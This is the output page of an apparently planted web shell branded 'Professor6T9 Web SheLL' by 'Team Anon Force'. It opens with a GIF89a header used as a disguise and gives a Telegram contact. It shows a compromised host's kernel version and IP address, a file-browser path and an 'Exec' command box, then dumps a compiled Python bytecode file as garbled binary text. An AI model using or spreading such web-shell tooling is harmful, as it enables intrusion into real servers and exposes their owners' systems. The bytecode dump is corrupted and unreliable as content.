GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
69.57.162.12
/
opt
/
cloudlinux
/
venv
/
lib64
/
python3.11
/
site-packages
/
prospector
/
tools
/
mccabe
/
__pycache__
[ HOME ]
Exec
Submit
File Name : __init__.cpython-311.pyc
� � hg � �j � d dl Z d dlmZ d dlmZmZ d dlmZmZm Z d dl mZ dZ G d� de� � Z dS ) � N)�PathGraphingAstVisitor)�CouldNotHandleEncoding�read_py_file)�Location�Message�make_tool_error_message)�ToolBase)� McCabeToolc �0 � � e Zd Z� fd�Zd� Zd� Zd� Z� xZS )r c �V �� t � � j |i |�� d| _ d| _ d S )N� � )�super�__init__�ignore_codes�max_complexity)�self�args�kwargs� __class__s ��q/builddir/build/BUILD/cloudlinux-venv-1.0.8/venv/lib/python3.11/site-packages/prospector/tools/mccabe/__init__.pyr zMcCabeTool.__init__ s5 �� ������$�)�&�)�)�)���� ����� c � � |� d� � | _ |� d� � }d|v r|d | _ d S d S )N�mccabezmax-complexity)�get_disabled_messagesr �tool_optionsr )r �prospector_config�_�optionss r � configurezMcCabeTool.configure sR � �-�C�C�H�M�M���#�0�0��:�:���w�&�&�")�*:�";�D���� '�&r c �j � g }|j D �]�} t |� � }t j ||�� � }n�# t $ r8}|� t |ddd|j � ��� � � � Y d }~�gd }~wt $ r<}|� t |dd|j |j d�� � � � Y d }~��d }~wt $ r) |� t |ddd�� � � � Y ��w xY wt � � }|� ||� � |j � � � D ]r}|� � � } | | j k rQt% |d |j |j d � � � } t) dd| |j � d| � d ��� � }|� |� � �s���| � |� � S )N)�filenamer �MC0000z,Could not handle the encoding of this file: )�messagezSyntax Error)�line� characterr$ zUnable to parse filer )�path�module�functionr% r&